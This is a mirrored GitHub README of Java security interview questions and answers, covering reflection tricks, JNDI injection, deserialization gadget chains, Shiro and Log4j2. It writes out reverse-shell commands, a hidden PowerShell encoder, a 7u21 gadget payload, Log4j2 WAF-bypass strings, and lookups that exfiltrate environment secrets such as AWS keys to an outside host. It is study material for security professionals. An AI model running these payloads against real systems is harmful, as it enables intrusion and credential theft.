Coder Social home page Coder Social logo

javasecinterview's Introduction

JavaSecInterview

介绍

这是什么:Java安全研究与安全开发面试题总结

为什么要做:帮助自己校招找到工作,同时帮助广大Java安全师傅顺利找到工作

项目目标:完全掌握本项目后进轻松大厂

计划定期更新,从基础到各种实战问题,打造齐全的Java安全面试题库

最低难度★ 最高难度★★★★★

作者技术水平水平,难免有错误之处,欢迎师傅们提出ISSUE和PR

JDK

  • Java反射做了什么事情(★)

反射是根据字节码获得类信息或调用方法。从开发者角度来讲,反射最大的意义是提高程序的灵活性。Java本身是静态语言,但反射特性允许运行时动态修改类定义和属性等,达到了静态的效果

  • Java反射可以修改Final字段嘛(★★)

可以做到,参考以下代码

field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
field.set(null, newValue);
  • 传统的反射方法加入黑名单怎么绕(★★★)

可以使用的类和方法如下(参考三梦师傅)

ReflectUtil.forName
BytecodeDescriptor
ClassLoader.loadClass
sun.reflect.misc.MethodUtil
sun.reflect.misc.FieldUtil
sun.reflect.misc.ConstructorUtil
MethodAccessor.invoke
JSClassLoader.invoke
JSClassLoader.newInstance
  • Java中可以执行反弹shell的命令吗(★★)

可以执行,但需要对命令进行特殊处理。例如直接执行这样的命令:bash -i >& /dev/tcp/ip/port 0>&1会失败,简单来说因为>符号是重定向,如果命令中包含输入输出重定向和管道符,只有在bash下才可以,使用Java执行这样的命令会失败,所以需要加入Base64

bash -c {echo,base64的payload}|{base64,-d}|{bash,-i}

针对Powershell应该使用以下的命令

powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc 特殊的Base64

这个特殊的Base64和普通Base64不同,需要填充0,算法如下

public static String getPowershellCommand(String cmd) {
    char[] chars = cmd.toCharArray();
    List<Byte> temp = new ArrayList<>();
    for (char c : chars) {
        byte[] code = String.valueOf(c).getBytes(StandardCharsets.UTF_8);
        for (byte b : code) {
            temp.add(b);
        }
        temp.add((byte) 0);
    }
    byte[] result = new byte[temp.size()];
    for (int i = 0; i < temp.size(); i++) {
        result[i] = temp.get(i);
    }
    String data = Base64.getEncoder().encodeToString(result);
    String prefix = "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ";
    return prefix + data;
}
  • 假设Runtime.exec加入黑名单还有什么方式执行命令(★★)

其实这个问题有点类似JSP Webshell免杀

大致方法有这些:使用基本的反射,ProcessImpl和ProcessBuilde,JDNI和LDAP注入,TemplatesImpl,BCEL,BeansExpression,自定义ClassLoader,动态编译加载,ScriptEngine,反射调用一些native方法,各种EL(SPEL和Tomcat EL等)

  • RMI和LDAP类型的JNDI注入分别在哪个版本限制(★)

RMI的JNDI注入在8u121后限制,需要手动开启com.sun.jndi.rmi.object.trustURLCodebase属性

LDAP的JNDI注入在8u191后限制,需要开启com.sun.jndi.ldap.object.trustURLCodebase属性

  • RMI和LDAP的限制版本分别可以怎样绕过(★★)

RMI的限制是限制了远程的工厂类而不限制本地,所以用本地工厂类触发

通过org.apache.naming.factory.BeanFactory结合ELProcessor绕过

LDAP的限制中不对javaSerializedData验证,所以可以打本地gadget

  • 谈谈TemplatesImpl这个类(★★)

这个类本身是JDK中XML相关的类,但被很多Gadget拿来用

一般情况下加载字节码都需要使用到ClassLoader来做,其中最核心的defineClass方法只能通过反射来调用,所以实战可能比较局限。但JDK中有一个TemplatesImpl类,其中包含TransletClassLoader子类重写了defineClass所以允许TemplatesImpl类本身调用。TemplatesImpl其中有一个特殊字段_bytecodes是一个二维字节数组,是被加载的字节码

通过newTransformer可以达到defineClass方法加载字节码。而getOutputProperties方法(getter)中调用了newTransformer方法,也是一个利用链

TemplatesImpl.getOutputProperties()
	TemplatesImpl.newTransformer()
	TemplatesImpl.getTransletInstance()
	TemplatesImpl.defineTransletClasses()
	ClassLoader.defineClass()
	Class.newInstance()
  • 了解BCEL ClassLoader吗(★)

BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目

该类常常用于各种漏洞利用POC的构造,可以加载特殊的字符串所表示的字节码

但是在Java 8u251之后该类从JDK中移除

  • 谈谈7U21反序列化(★★★★★)

LinkedHashSet.readObject开始,找到父类HashSet.readObject方法,其中包含HashMap的类型转换以及HashMap.put方法,跟入HashMap.put其中对key与已有key进行equals判断,这个equals方法是触发后续利用链的关键。但equals方法的前置条件必须满足

if (e.hash == hash && ((k = e.key) == key || key.equals(k)))

所以这里需要用哈希碰撞,让下一个key的哈希值和前一个相等,才可进入第二个条件。而第二个条件中必须让前一个条件失败才可以进去equals方法,两个key对象不相同是显而易见的

接下来的任务是找到一处能触发equals方法的地方

反射创建AnnotationInvocationHandler对象,传入Templates类型和HashMap参数。再反射创建被该对象代理的新对象,根据动态代理技术,代理对象方法调用需要经过InvocationHandler.invoke方法,在AnnotationInvocationHandler这个InvocationHandlerinvoke方法实现中如果遇到equals方法,会进入equalsImpl方法,其中遍历了equals方法传入的参数TemplatesImpl的所有方法并反射调用,通过getOutputProperties方法最终加载字节码导致RCE

关于7U21的伪代码如下

Object templates = Gadgets.createTemplatesImpl();
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
Templates proxy = (Templates) Proxy.newProxyInstance(exp.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);
LinkedHashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
map.put(zeroHashCodeStr, templates);
return set;

结合调用链

LinkedHashSet.readObject()
  LinkedHashSet.add()/HashMap.put()
      Proxy(Templates).equals()
        AnnotationInvocationHandler.invoke()
          AnnotationInvocationHandler.equalsImpl()
            Method.invoke()
              ...
                TemplatesImpl.getOutputProperties()

可以看到伪代码最后在mapput了某个元素,这是为了处理哈希碰撞的问题。TemplatesImpl没有重写hashcode直接调用Object的方法。而代理对象的hashcode方法也是会先进入invoke方法的,跟入hashCodeImpl方法看到是根据传入参数HashMap来做的,累加每一个Entrykeyvalue计算得出的hashcode。通过一些运算,可以找到符合条件的碰撞值

  • 谈谈8U20反序列化(★★★★★)

这是7U21修复的绕过(作者对该问题了解较浅,面试没有被问到过)

AnnotationInvocationHandler反序列化调用readObject方法中,对当前type进行了判断。之前POC中的Templates类型会导致抛出异常无法继续。使用BeanContextSupport绕过,在它的readObject方法中调用readChildren方法,其中有try-catch但没有抛出异常而是continue继续

所以这种情况下,就算之前的反序列化过程中出错,也会继续进行下去。但想要控制这种情况,不可以用正常序列化数据,需要自行构造畸形的序列化数据

  • 了解缩小反序列化Payload的手段吗(★★★)

首先最容易的方案是使用Javassist生成字节码,这种情况下生成的字节码较小。进一步可以用ASM删除所有的LineNumber指令,可以更小一步。最终手段可以分块发送多个Payload最后合并再用URLClassLoader加载

  • 待师傅们补充

Shiro

  • Shiro反序列化怎么检测key(★★★)

实例化一个SimplePrincipalCollection遍历key列表进行AES加密,然后加入到CookierememberMe字段中发送,如果响应头的Set-Cookie字段包含rememberMe=deleteMe说明不是该密钥,如果什么都不返回,说明当前key是正确的key。实际中可能需要多次这样的请求来确认key

  • Shiro 721怎么利用(★★)

需要用到Padding Oracle Attack技术,限制条件是需要已知合法用户的rememberMe且需要爆破较长的时间

  • 最新版Shiro还存在反序列化漏洞吗(★)

存在,如果密钥是常见的,还是有反序列化漏洞的可能性

  • Shiro反序列化Gadget选择有什么坑吗(★★★)

默认不包含CC链包含CB1链。用不同版本的CB1会导致出错,因为serialVersionUID 不一致

另一个CB1的坑是Comparator来自于CC,需要使用如下的

BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
  • Shiro注Tomcat内存马有什么坑吗(★★★★)

Shiro注内存马时候由于反序列化Payload过大会导致请求头过大报错

解决办法有两种:第一种是反射修改Tomcat配置里的请求头限制熟悉,但这个不靠谱,不同版本Tomcat可能修改方式不一致。另外一种更为通用的手段是打过去一个LoaderPayload加载请求Body里的字节码,将内存马字节码写入请求Body中。这种方式的缺点是依赖当前请求对象,更进一步可以写文件URLClassLoader加载

  • 有什么办法让Shiro洞只能被你一人发现(★★)

发现Shiro洞后,改了其中的key为非通用key。通过已经存在的反序列化可以执行代码,反射改了RememberMeManager中的key即可。但这样会导致已登录用户失效,新用户不影响

  • Shiro的权限绕过问题了解吗(★★)

主要是和Spring配合时候的问题,例如/;/test/admin/page问题,在Tomcat判断/;test/admin/page 为test应用下的/admin/page路由,进入到Shiro时被;截断被认作为/,再进入Spring时又被正确处理为test应用下的/admin/page路由,最后导致shiro的权限绕过。后一个修复绕过,是针对动态路由如/admin/{name}

Log4j2

  • 谈谈Log4j2漏洞(★★)

漏洞原理其实不难,简单来说就是对于${jndi:}格式的日志默认执行JndiLoop.loojup导致的RCE。有几处关键问题,首先日志的任何一部分插入${}都会进行递归处理,也就是说log.info/error/warn等方法如果日志内容可控,就会导致这个问题。这个漏洞本身不复杂,后续的一个绕过比较有趣

  • 知道Log4j2 2.15.0 RC1修复的绕过吗(★★★)

修复内容限制了协议和HOST以及类型,其中类型这个东西其实没用,协议的限制中包含了LDAP等于没限制。重点在于HOST的限制,只允许本地localhost和127.0.0.1等IP。但这里出现的问题是,加入了限制但没有捕获异常,如果产生异常会继续lookup所以如果在URL中加入一些特殊字符,例如空格,即可导致异常然后RCE

  • Log4j2的两个DOS CVE了解吗(★★)

其中一个DOS是lookup本身延迟等待和允许多个标签${}导致的问题

另一个DOS是嵌套标签${}导致栈溢出

  • Log4j2 2.15.0正式版的绕过了解吗(★★★)

正式版的修复只是在之前基础上捕获了异常。这个绕过本质还是绕HOST限制。使用127.0.0.1#evil.com即可绕过,需要服务端配置泛域名,所以#前的127.0.0.1会被认为是某个子域名,而本地解析认为这是127.0.0.1绕过了HOST的限制。但该RCE仅可以在MAC OS和部分Linux平台成功

  • Log4j2绕WAF的手段有哪些(★★)

使用类似${::-J}的方式做字符串的绕过,还可以结合upperlower标签进行嵌套

有一些特殊字符的情况结合大小写转换有巧妙的效果,还可以加入垃圾字符

例如:${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}

  • Log4j2除了RCE还有什么利用姿势(★★★)

利用其他的lookup可以做信息泄露例如${env:USER}${env:AWS_SECRET_ACCESS_KEY}

SpringBoot情况下可以使用bundle:application获得数据库密码等敏感信息

这些敏感信息可以利用dnslog外带${jndi:ldap://${java:version}.xxx.dnslog.cn}

javasecinterview's People

Contributors

4ra1n avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.